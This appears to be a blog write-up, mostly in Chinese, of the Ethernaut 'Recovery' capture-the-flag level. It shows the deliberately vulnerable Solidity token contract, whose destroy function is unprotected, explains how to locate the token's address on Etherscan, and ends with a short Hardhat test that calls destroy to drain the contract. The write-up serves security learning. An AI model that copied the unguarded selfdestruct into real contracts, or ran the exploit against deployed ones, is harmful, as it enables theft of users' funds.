LEVEL 17 (Recovery):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  }
}
contract SimpleToken {
  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;
  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }
  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }
  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }
  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}
通关要求
找到token的地址,并取回0.001ETH
要点
1.熟悉https://rinkeby.etherscan.io/
  2.selfdestruct的作用
解题思路
区块链的事务都有记录在链上,通过相应的工具都可以查看如etherscan.io
通过instance的地址,在网站上找到对应的内部事务(创建合约和转账0.001ETH的地址),就是那个合约地址,然后调用这个地址的destroy
  it("attacks", async function () {
    //真实的SimpleToken地址可以通过https://rinkeby.etherscan.io/
    //查询对应的instance的事务里面的创建合同,并往哪个地址转了0.001ETH,就是那个合同地址
    const tokenAddress = levelContract.address;
    const contract = await ethers.getContractAt("SimpleToken", tokenAddress);
    await contract.connect(levelOwner).destroy(player.address);
  });
    
Top comments (0)